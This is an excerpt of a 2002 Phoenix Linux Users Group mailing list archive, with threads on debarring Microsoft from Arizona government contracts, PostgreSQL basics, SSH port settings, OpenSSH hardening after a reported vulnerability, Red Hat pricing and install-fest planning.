your earlier post about Maricopa County rules as well. Those > also don't require debarment :(. > > I would presume this means that m$ isn't automagically debarred, rather only > that the gov't now has cause to debar m$ if the gov't so chose. Now we have > to convince them to debar m$ for their illegal activities. That's something > that should've happened more than 10 years ago the first time m$ was on > trial for anti-trust violations. Were they actually convicted that time or > did they plea bargain out of it? > > ciao, > > der.hans > >> B. The causes for debarment or suspension include the following: >> 3. Conviction or civil judgment finding a violation by any >> person or any subsidiary or affiliate of any person under >> state or federal antitrust statutes. >> >> www.mpsaz.org/purchasing/protest.pdf >> >> Same as before - Schools may debar anti-trust violators. >> >> =================================================================== >> Same thing for ASU: >> www.abor.asu.edu/1_the_regents/policymanual/chap3/3-809.pdf (page 11) >> >> =================================================================== >> Same thing for the State: >> http://sporas.ad.state.az.us/AZPolicy_art9.htm#Debarment >> >> =================================================================== >> >> >> Tom Emerson is right - there is not much originality from one government >> agency to the next in Arizona - they all pretty much copy the same text >> and format. >> >> Let the letter writing begin!!! >> >> George >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post >> to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:13:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 18:13:41 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <200206261446.17057.zen2now@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > i tried the hostname from cli, but it will not > change the machines hostname. it only makes the change AFAIK, to the hostname As listed in the manpage: hostname - show or set the system's host name That should work for a running system. George is right that the system probably gets the name from /etc/rc.config at boot time. > listed when entering #hostname. i have yet to rgrep etc, i am caught in a > battle with netsaint's cgi permissions. but thats another issue, and if your > interested in that issue i can give you the low down on it. Bring it up on list. Some of us have struggled with netsaint, so might be able to help you. ciao, der.hans -- # https://www.LuftHans.com/ # kill telnet, long live ssh - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:01:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Wed, 26 Jun 2002 18:01:03 -0700 Subject: Membership database (was Re: West Side InstallFest) In-Reply-To: <5.1.0.14.0.20020626163527.00a52ec0@localhost> References: <5.1.0.14.0.20020626163527.00a52ec0@localhost> Message-ID: <20020627010103.GO8953@ecloud.org> Isn't there an announce list? If the membership of this list were exposed to its members (which I see right now it isn't - only the admin can see this) then you'd basically have an email list. Maybe this could be augmented with a database which maps the emails to some web links. Every member could modify this mapping to link the email to a "my involvement with PLUG" type page, and some software could be set up on the PLUG web server to optionally host those pages there instead of on members' own web servers, for those who don't have their own. Your password for your mailing list membership should be re-used to grant you access to edit your automatically-created default member page. Sounds like a job for Zope or something doesn't it? If you separate the membership database from the mailing list, then it is not self-maintaining, nobody will care very much about keeping it up to date and soon it will not be. Witness the shortness and age of this page: http://plug.phoenix.az.us/membersites.shtml for proof of that. See how many links you can still follow. I believe I sent in email to notify the web master that my link is way out of date, but never got a response. But if members can maintain their own links at the same time they manage their list subscriptions, then it will tend to stay up-to-date. Which means of course that this ought to be a Mailman feature, ideally. Every member of any list ought to be able to put a URL next to his name on the "member list" page. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:05:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Wed, 26 Jun 2002 18:05:50 -0700 Subject: (no subject) Message-ID:

I think the next Install-Fest should showcase a Windoze machine side-by-side with a Linux box to show any "Newbies", or those looking at Linux for the first time as a viable alternative, the advantages of the Linux OS over the "other product".   Let's say I'm the "new guy" and I'm faced with possibly selling an office conversion to the boss and I want to see what "counter-part" is available in Linux and how it stacks up against my Bill Gates mind melder.  I could possibly walk away with a fresh new perspective on speed, performance, and reliability.  I know there are many different variables involved, but the office-related basics are still there.   Just a thought.

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From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:31:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Wed, 26 Jun 2002 18:31:27 -0700 (PDT) Subject: Hello I'm new (kinda) In-Reply-To: <3D19FB91.7020504@netscape.net> Message-ID: <20020627013127.16883.qmail@web13408.mail.yahoo.com> --- Don Calfa wrote: > Are you able to play Region 1 DVD's? I am only able > to play region free > DVD's on Mandrake 8.2 Hi Don, Yes I'm able to play Region 1. I tried out one of my sisters DVD's and it worked fine. What errors are you getting? What player are you using? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 01:58:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 18:58:09 -0700 (MST) Subject: Doing the Right Thing (revisited) In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Jiva DeVoe so: > Perhaps instead of spending all this energy on trying to come up with ways > to fight MS legally (which MS will win anyway) why not spend this energy I'm not fighting MS. Morgan Stanley actually gives money to companies in the Free Software community and tries to support competition and free enterprise ( for technology, not so sure they're in favor of competition in their main areas of business though ). m$, however, has broken the law multiple times and has finally been found guilty. > making Linux the better platform to choose for the applications instead of > MS? Then you win for the *right reason*. GNU/Linux already is the better technical platform. Gov't has a need for standards. Mil requires them. GNU/Linux is much better at standards compliance than m$ or mac. Don't know how GNU/Linux compares to the commercial *NIX vendors or the non-commercial *BSDs as far as standards compliance goes. > Frankly, I for one cannot in good conscience recommend that Linux is the > right platform for my children to use in school until Linux has better I don't remember advocating GNU/Linux or any other OS in that post. I don't see any such advocation upon rereading it either. > educational games and is easier to use. And forcing a choice on someone > because of political motivations is no better than what MS does. Political motivations? I explicitly mentioned that m$ should be debarred for illegal activities. Anderson Consulting looks forward to your continued business and Jimmy Hoffa thanks you for your vote ;-). Seriously, the gov't is spending public funds. They should not be supporting companies participating in illegal activities. Once the company has been found guilty the gov't has explicit responsibility to not do business with that company. That is true for any company guilty of a felony or anti-trust violation. There are other restrictions on felons. For instance, it is illegal for a convicted felon to sit on the board for a non-profit corporation. Why shouldn't m$ and anderson have to suffer the same penalties as their fellow felons? I think, at some point the company, with good behavior, will have done its time and could then be elligible to once again contract with the gov't. In the meantime, no new contracts. ciao, der.hans > On 6/26/02 1:55 PM, "der.hans" wrote: > > > Am 25. Jun, 2002 schwätzte George Toft so: > > > >> While searching for more debarment guidelines, I came across these > >> tidbits: > >> =================================================================== > >> Title 7, Ch. 2 Arizona Administrative Code > >> State Board of Education > >> > >> R7-2-1161. Authority to debar or suspend > >> A. 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They are either convinced that they want to switch to Linux or they are curious. They are also usually Joe Sixpack types who are getting on the clue train or geeks-in-training who know that there is a lot of fun under the hood. Not too many suits show up. That is another project in itself. If we could wangle out way into one of the many computer shows at the Civic Plaza, those suits and their minions do like to be impressed by the power, stability, and performance of the kinds of apps that they license and use on a daily basis On Wednesday 26 June 2002 18:05, you wrote: >
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________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 pGSiwO1XtT/Q8RCR0ZCtpzwU =JDmD -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 02:09:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Wed, 26 Jun 2002 19:09:48 -0700 Subject: random sounds Message-ID: <20020626190948.3237f590.snoogans@qwest.net> when im running my box i sometimes get these random sounds that just go off or about 1-2 seconds. Was wondering if there was a program or something that could tell me what program last accessed a device? it really annoying and would like to get rid of it :) im using devfs if that makes a difference From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 02:21:54 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Wed, 26 Jun 2002 21:21:54 -0500 Subject: mysql -> postgres Message-ID: <20020626212154.A86347@lilly.csoft.net> I have been using MySQL for quite some time and feel right at home with it..... I would like to begin learning postgresql. I have just installed it (as a Debian snob, apt-get made that pretty brainless), and need a starting point. Using MySQL, I am spoiled by mysqlshow, and walking right into the mysql db and setting up perms for something I created with mysqladmin create 'dbname'. This is my only baseline, and would love for someone to point me to some docs that address the basics for postgres. v/r mike From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 03:41:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Wed, 26 Jun 2002 23:41:40 -0400 Subject: Crappy Products Cost More!! Message-ID: RedHat Professional comes with 90 days technical support. It also has all the printed manuals that would cost about $35 separately. (A small story, indirectly related.) I have successfully setup a new CVS server at work using RH7.3, Webmin and CVS, of course. In explaining what I had done and what I am using to do it, our company product manager said, and I quote, "If all that software is free, why are we using it. It is probably crap." This was followed by a brief demonstration of Webmin that left him less "against" the software but still not "for" it. (End of story.) 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Proctor" wrote: Is it my imagination or does it seem that the worst products always costs more.  ie.  If you want Windows XP you plan on paying $179. for the home version and more for the professional version.  Again with RedHat you have a $79.95 personal or workstation edition and comes with 3 cd's.  Get the professional version for around $199.00 and i'm not sure how many cd's come with it.  Is RedHat trying to compete with Microsoft on who can supply the most expensive product?   Before anyone goes off saying well you can just download the distro and don't have to pay those prices.  I am thinking of the newbies.  I would never hand a newbie 3 cd's and say here ya go.  I would like to have the documentation to go with it.  Of course Redhat and Windows both give you wafer thin manuals.  SuSE and Mandrake give you good size manuals with plenty of information packed in them.  Also SuSE Professional is only $79.95 and comes with 7 cd's and one DVD.  The DVD had everything all 7 cd's have and you don't have to do any disk swaps.   I have worked with Redhat, Mandrake, and SuSE and it seems that Redhat lags far behind the competitors.  Try to install Redhat on a seperate hard disk with Windows XP on the first hard disk in NTFS format,  Redhat won't even make an entry for Windows XP in lilo.  I can imagine the panic attack a newbies face after the redhat install and the only option is Redhat.  LOL  That is of course if you can get Redhat to install in the first place. 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(y/n) y Shall the new user be allowed to create more new users? y (assuming your login account is "mike") Now, as the user "mike": createdb firstdb psql firstdb firstdb=# <- the psql command line prompt for database "firstdb" firstdb=# \? <- to see a list of backslash commands. firstdb=# \d <- to list all tables. firstdb=# \h <- for help on SQL commands. etc... explore from here. If you write a ".pgsqlrc" (or whatever it is.. check the docs), you can setup your psql environment to suit. (I think mysql has a similiar .mysqlrc file?) http://www.postgresql.org/idocs/ has complete documentation, including newbie pages (if memory serves me correctly). permissions: like many commercial cousins, postgresql handles a lot through the "grant" statements. If you are unfamiliar with "grant" & "revoke", learn them. (sorry if that sounds harsh, ... i'm dimly remembering some sort of perm manipulation thang in mysql that I have long forgotten. "grant" & "revoke" show up in a lot of db systems, handy to know for the day you have to work on some other db). If you are familiar with typical sql and RDBMS, you'll pick it up quickly. Thing I like most about psql, just about everything I need is available from within the psql shell. (I'm a command line bigot). If you have a windoze box that needs to manipulate a pgsql db, check out the windows ODBC for postgresql and the really nifty windows tool: pgAdmin II (google search on these, you'll find 'em quick). I'm wishing for that pgAdmin II port for Linux, for the GUI inclined, it is really quite nice. (anybody? does this exist?) Dig into stored procedures and triggers, this is one of the very fine features of postgresql, especially if you are into heavy db app development. - tom e. ---------------- On Wed, 26 Jun 2002, Mike wrote: I have been using MySQL for quite some time and feel right at home with it..... I would like to begin learning postgresql. I have just installed it (as a Debian snob, apt-get made that pretty brainless), and need a starting point. Using MySQL, I am spoiled by mysqlshow, and walking right into the mysql db and setting up perms for something I created with mysqladmin create 'dbname'. This is my only baseline, and would love for someone to point me to some docs that address the basics for postgres. v/r mike ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:18:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob George) Date: Wed, 26 Jun 2002 21:18:48 -0700 Subject: SSH - Preparing for the big one (was Re: SSH Exploit Revealed (fwd)) References: <3D1A0A27.10207@ttlexceeded.com> <200206261444.02761.voltage_spike@fastmail.fm> Message-ID: <006101c21d91$bc7a99d0$041010ac@az05.bull.com> "Logan Kennelly" wrote: > [...] > You have probably already done this, but OpenSSH 3.3p1 is still vulnerable. > The key is that it now supports privilege separation which should trap them > in a little box where they can't do anything. To enable this, add the > following line to your sshd config file. > > UsePrivilegeSeparation yes Thanks Logan. Someone on another list also pointed me to http://www.kb.cert.org/vuls/id/369347 which also seems to be a good, concise description of the problem, and possible workarounds. For ssh > 2.9, they recommend: ChallengeResponseAuthentication no PAMAuthenticationViaKbdInt no along with your recommendation. It sounds like this is a moving target, at least until 3.4 is readily available. - Bob From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:13:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 26 Jun 2002 21:13:42 -0700 Subject: Crappy Products Cost More!! References: Message-ID: <3D1A90F6.B045D1DB@qwest.net> > RedHat Professional comes with 90 days technical support. It also has all the > printed manuals that would cost about $35 separately. > > (A small story, indirectly related.) > I have successfully setup a new CVS server at work using RH7.3, Webmin and > CVS, of course. In explaining what I had done and what I am using to do it, > our company product manager said, and I quote, "If all that software is free, > why are we using it. It is probably crap." This was followed by a brief > demonstration of Webmin that left him less "against" the software but still > not "for" it. > (End of story.) > > (Another small story) > A friend of mine runs a technology related service business. He was getting > too much work so he started raising his quotes. He started getting even more > work from people that had dropped him before because he was "priced too low to > be very good" as they later told him. > (End of small story) This is because you either don't know what your skills are worth, or will take more time than someone charging more per hour and cost them more in the long run (time == money, especially during downtime). At least in their eyes. > RedHat, I think, is marketing to the people who think they have to pay for > something for it to be any good. And if they are right, and people want to > pay for the support and the manuals, they remain a viable company. > > Some people want to pay lots of money. Would we geeks pay it? Nope. But > some of the suits and non-geeks will. RedHat will find out soon enough if the > market will pay the price they are asking. I had no problems with the price that RH was charging ($50 for boxed copy). I used to buy the boxed versions (6.2 and before) for my Alpha partly for the documentation, but mostly for the support since I wasn't familiar with the differences between Alpha and Intel (boot methods and such). They no longer support Alpha, so now I'm thinking of switching distros for my little Multias since I like package based distros (not necessarily RPM) and these boxes will need patches to what is running on them (Apache being the most notable of late). The only things I've had to build from source have been PHP and MySQL, but MySQL releases a src.rpm to simplify the upgrade process (though it takes time to compile). From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:19:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Wed, 26 Jun 2002 21:19:24 -0700 Subject: mysql -> postgres References: <20020626212154.A86347@lilly.csoft.net> Message-ID: <3D1A924C.93701EA7@qwest.net> Best documentation is the companies website: http://www.postgresql.org/ Pick a mirror. MySQL uses a db to hold permissions PostgreSQL uses a text conf file to hold configuration and permissions I haven't tried PostgreSQL since 7.0.3. At that time I was working with Snort (www.snort.org) sniffing a 200Mb Internet connection (not a typo, 200 Mega bits/s). MySQL couldn't handle the rate at which alerts were coming in, but could handle outputting the frontend (ACID: acidlab.sourceforge.net). PostgreSQL could easily handle the logging, but was slower than molasses for the web frontend (see the graphs at the above mentioned ACID site). A page that took MySQL 30s to load was taking over 8 minutes for PostgreSQL. > I have been using MySQL for quite some time and feel > right at home with it..... I would like to begin learning > postgresql. > > I have just installed it (as a Debian snob, apt-get made that > pretty brainless), and need a starting point. > > Using MySQL, I am spoiled by mysqlshow, and walking right > into the mysql db and setting up perms for something I created > with mysqladmin create 'dbname'. This is my only baseline, and > would love for someone to point me to some docs that address > the basics for postgres. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:43:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michael Kocher) Date: Wed, 26 Jun 2002 21:43:25 -0700 Subject: secure shell using other ports than 22 Message-ID: Howdy, I was wondering if anyone knows how to secure shell using a different port other than the default 22? Also does the ssh server need to be adjusted (so it can looking for ssh at other ports)? thanks for the info, Michael PS. The install fest was great and I got the chance to meet some really great people. Props to the people who spent the time organizing and making the install fest what it was. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:48:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 21:48:28 -0700 Subject: SuSE 7.3 sparc64 References: Message-ID: <001301c21d95$e183d080$2f7c0d82@peyote> > As listed in the manpage: > > hostname - show or set the system's host name > > That should work for a running system. George is right that the system > probably gets the name from /etc/rc.config at boot time. but is it really the active hostname. it does not change /etc/hosts or /etc/HOSTNAME, i can display the hostname that i changed it to with # hostname, but if i reboot the machine it reverts back to the old hostname. its really not a big deal :~D, as i used YaST to make the change. just one of those things that kinda bugged. i will check out /etc/rc.config. > Bring it up on list. Some of us have struggled with netsaint, so might be > able to help you. for sure, when all my attempts fails, i turn to the ones who really know. PLUG!! slr From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 04:57:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Wed, 26 Jun 2002 21:57:09 -0700 Subject: mysql -> postgres In-Reply-To: References: <20020626212154.A86347@lilly.csoft.net> Message-ID: <20020626215709.3e64d834.derek@gnue.org> > Short List: > > as the "postgres" user (during install, you identified a "postgres" > user, right?), from a shell command line: No he is a debian snob so it didnt have to identify anything. :) First log in as root or (su) then su postgres Then do the createuser command below: > createuser > Enter name of user to add: mike > Shall the new user be allowed to create databases? (y/n) y > Shall the new user be allowed to create more new users? y > > (assuming your login account is "mike") you need not have it be same as your login account, it could be anything you like, but creating something same as your user name isnt a bad idea. (From then on if you are logged in as user account that matches user name you created you can type createuser from normal command prompt to create additional users) > Now, as the user "mike": > createdb firstdb > psql firstdb > firstdb=# <- the psql command line prompt for database "firstdb" > firstdb=# \? <- to see a list of backslash commands. > firstdb=# \d <- to list all tables. > firstdb=# \h <- for help on SQL commands. > If there really are enough people willing to attend a postgres class (several week commitment) I will put the course work together and do one. -Derek From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:13:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Wed, 26 Jun 2002 22:13:16 -0700 Subject: (no subject) References: <02062618474610.07972@nova.wedge.org> <3D1A8CC6.27CFA775@georgetoft.com> Message-ID: <001b01c21d99$58560770$2f7c0d82@peyote> i must disagree with this slightly, because my case was a little different than the average Windoze user. i came from the MainFrame world, and to me at that time a PC was a toy. so the first Windoze box i saw was a joke, compared to the Data Center surrounding it. anyway i eventually got a PC because i want to play Doom, and of coarse Windoze. i started running lightstep because i couldnt stand exploder, then one day this friend of mine was over and i was showing him lightstep and he said i have something i think you will like. he was right, Enlightenment DR13 running the default theme on a RH 5.0 box. that was it for me, i had to run it. so Enlightenment did it for me, and if it would have been a Windows look alike i dont know if Linux would have sparked the passion that it did. i'm not saying that Enlightenment should be the main focus by no means. but i do feel it deserves a place somewhere, in some dark obscure corner. :~D slr > I would hate to see the demo compare some Windows box with > Enlightenment. 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________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > - -- > > Jim > > > > Freedom is worth protecting > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP 6.5.8 > > > > iQA/AwUBPRpuwisk3ywszI1FEQJ/KACgvsXTGKvsLWy4ACLReiIptTCJmfgAoMc7 > > pGSiwO1XtT/Q8RCR0ZCtpzwU > > =JDmD > > -----END PGP SIGNATURE----- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html > because it wasn't me! > -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:28:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Wed, 26 Jun 2002 22:28:18 -0700 Subject: secure shell using other ports than 22 References: Message-ID: <3D1AA272.5020107@deru.com> Michael Kocher wrote: > Howdy, > > I was wondering if anyone knows how to secure shell using a different > port other than the default 22? $ ssh -p xxx machine_name_or_ip (where xxx is the port number to use) > Also does the ssh server need to be > adjusted (so it can looking for ssh at other ports)? > Make an entry in the configuration file for the ssh daemon (/etc/ssh/sshd_config) that says : Port xxx (where xxx is the port you want sshd to listen on) -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:02:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 23:02:59 -0700 (MST) Subject: secure shell using other ports than 22 In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Michael Kocher so: > I was wondering if anyone knows how to secure shell using a different port > other than the default 22? Also does the ssh server need to be adjusted (so > it can looking for ssh at other ports)? For the ssh client use the -p command line option. For the scp client use the -P command line option. Also use the -p option anyway because it preserves the timestamps :). For the server change the Port directive in /etc/ssh/sshd_config. That or cheat and use port forwarding in a firewall :). > PS. The install fest was great and I got the chance to meet some really > great people. Props to the people who spent the time organizing and making > the install fest what it was. Woohoo! We've got one satisfied customer! We're glad you enjoyed it and hope you learned something while you were there. I learned a couple of things, which was awesome. ciao, der.hans -- # https://www.LuftHans.com/ # ... make it clear I support "Free Software" and not "Open Source", # and don't imply I agree that there is such a thing as a # "Linux operating system". - rms From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:58:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 22:58:24 -0700 (MST) Subject: mysql -> postgres In-Reply-To: Message-ID: Am 26. Jun, 2002 schwätzte Tom Emerson so: > Thing I like most about psql, just about everything I need is available > from within the psql shell. (I'm a command line bigot). psql is very nice. SQL completion is pretty good. Still a lot of holes, but it picks up quite a bit. mysql has a lot more work to do. psql also has better readline support for SQL command line editing. \h is great. mysql really needs that. I'm ecstatic about column level perms in MySQL. There's also a 'virtual table' feature of some sort that allows me to designate multiple tables as a single table. I'm really wanting to exploit this for archiving. Roll old stuff into a secondary table and normal queries only hit the most recent table, but reports needing more history can automagically query the whole archive of data. I think that's just me being lazy because it could be done with some sub-queries, but it's so much easier to let the db take care of it ;-). Having different table types, e.g. MyISAM and InnoDB, in mysql is good. MySQL has much better archiving as I can log all queries that change anything in the database and there's a mechanism to snarf through it. PostgreSQL has WAL, but it's not as mature as it needs to be and I don't know of a tool that would allow me to grep around in it. Speaking of being able to grep around in data... psql: lcdb=# SELECT * from lctable \g | egrep -i 'fred|anke'; mysql: mysql> \P egrep -i 'fred|anke' mysql> SELECT * from lctable; mysql> \P less Notice that in psql using grep is easier than using a where clause ;-). BTW, for those not familiar with these two databases... PostgreSQL is the name of the database and psql is a utility to make queries. MySQL is the name of the database and mysql is a utility to make queries. ciao, der.hans -- # https://www.LuftHans.com/ # Stell dir vor, es ist Krieg und keiner geht hin... From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:59:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 22:59:24 -0700 (MST) Subject: mysql -> postgres In-Reply-To: <3D1A924C.93701EA7@qwest.net> Message-ID: Am 26. Jun, 2002 schwätzte Kevin Brown so: > I haven't tried PostgreSQL since 7.0.3. At that time I was working with Snort > (www.snort.org) sniffing a 200Mb Internet connection (not a typo, 200 Mega > bits/s). MySQL couldn't handle the rate at which alerts were coming in, but Internet2 snob! ;-) ciao, der.hans -- # https://www.LuftHans.com/ # Schließlich verteidigt Amerika Freiheit. Und Freiheit beginnt mit dem Wort. # -- Gunter Grass From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:07:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Wed, 26 Jun 2002 23:07:23 -0700 (MST) Subject: SuSE 7.3 sparc64 In-Reply-To: <001301c21d95$e183d080$2f7c0d82@peyote> Message-ID: Am 26. Jun, 2002 schwätzte slr so: > but is it really the active hostname. it does not change /etc/hosts /etc/hosts has nothing to do with what the real hostname. It's better if it does list the name, but that's not required. > or /etc/HOSTNAME, i can display the hostname that i changed it to with # /etc/HOSTNAME is probably either read or written at boot time, but should otherwise be ignored. > hostname, but if i reboot the machine it reverts back to the old hostname. Yeah, which is why you have to change it however your system wants it changed. 'hostname blah' is then the way to 'kill -i hostnamed' to make the change active :). ciao, der.hans -- # https://www.LuftHans.com/ # Like the maid, I don't do (M$)Windows. - der.hans From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 05:36:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Wed, 26 Jun 2002 22:36:18 -0700 Subject: Crappy Products Cost More!! In-Reply-To: <3D1A90F6.B045D1DB@qwest.net> References: <3D1A90F6.B045D1DB@qwest.net> Message-ID: <200206262236.18276.krycom1@cox.net> On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: > > RedHat Professional comes with 90 days technical support. It also has > > all the printed manuals that would cost about $35 separately. What manuals, that's my point. I have the boxed version and the manual is a 1/4 thick. SuSE and Mandrake have about 2 inches of manuals. > I had no problems with the price that RH was charging ($50 for boxed copy). Me either, until they up the price for $79 for boxed copy or $199 for the server edition. From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 06:24:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Wed, 26 Jun 2002 23:24:21 -0700 Subject: Crappy Products Cost More!! References: <3D1A90F6.B045D1DB@qwest.net> <200206262236.18276.krycom1@cox.net> Message-ID: <3D1AAF95.90809@cox.net> I paid $179 for RH 7.3 Pro (well, the company did), and am very happy with it. It comes with 3 OS cds, 1 doc, 2 source, and 3 app cds. It also includes a bootable cdrom business card called the "Survival cd". There are 4 printed manuals, which although slim have pretty good content - some geared to newbies some more advanced. It also has telephone and web-based support. Anyway, compared to a similarly priced XP product from MS, I say RedHat wins hands down. As I said in an earlier post, the install was great - it detected my wireless pcmcia card, set-up dual booting, etc..(As an aside I am trying out KDevelop for the first time and am pretty impressed - I wish I had tried it along time ago - if you haven't used the latest version go get it) I am happy to pay RedHat the $179 - I hope they continue to provide an outstanding alternative to the XP subscription world......... Just my $0.02 errr I mean $179 ;-) Richard L. Proctor wrote: >On Wednesday 26 June 2002 9:13 pm, Kevin Brown wrote: > >>>RedHat Professional comes with 90 days technical support. It also has >>>all the printed manuals that would cost about $35 separately. >>> > >What manuals, that's my point. I have the boxed version and the manual is a >1/4 thick. SuSE and Mandrake have about 2 inches of manuals. > > >>I had no problems with the price that RH was charging ($50 for boxed copy). >> > >Me either, until they up the price for $79 for boxed copy or $199 for the >server edition. >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 07:44:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Thu, 27 Jun 2002 00:44:51 -0700 (PDT) Subject: GNOME 2.0 Message-ID: <20020627074451.70737.qmail@web13409.mail.yahoo.com> Hey all, I was just curious about how many of you may be using GNOME 2.0 now and what you think of it? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Thu Jun 27 10:40:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Thu, 27 Jun 2002 06:40:18 -0400 (EDT) Subject: Install Fest II 0626 Status Message-ID: Pardon the delay, sent this last night with the wrong From: address. ---------- Forwarded message ---------- Subject: Install Fest II 0626 Status All corrections and feedback very welcome! News: Jim Farli has started the Install Fest II web site. Looking great! Thanks, Jim! http://www.plugpresents.com/installfest2/ Suggestions: - More Install Stations - Preliminary Survey - User Needs? - Feedback Survey - How to Improve? - 802.11 - Press Releases on 31 July and 31 Aug - Student Newspaper Oriented Press Releases - Demo Zone With Demonstrators - Presentations - PLUG Promotional Materials (PLUG Flyer) - PLUG Promotional Materials (PLUG T-Shirt) - Mailing List Registration - Current Lists - May We Contact You? - Attendees - 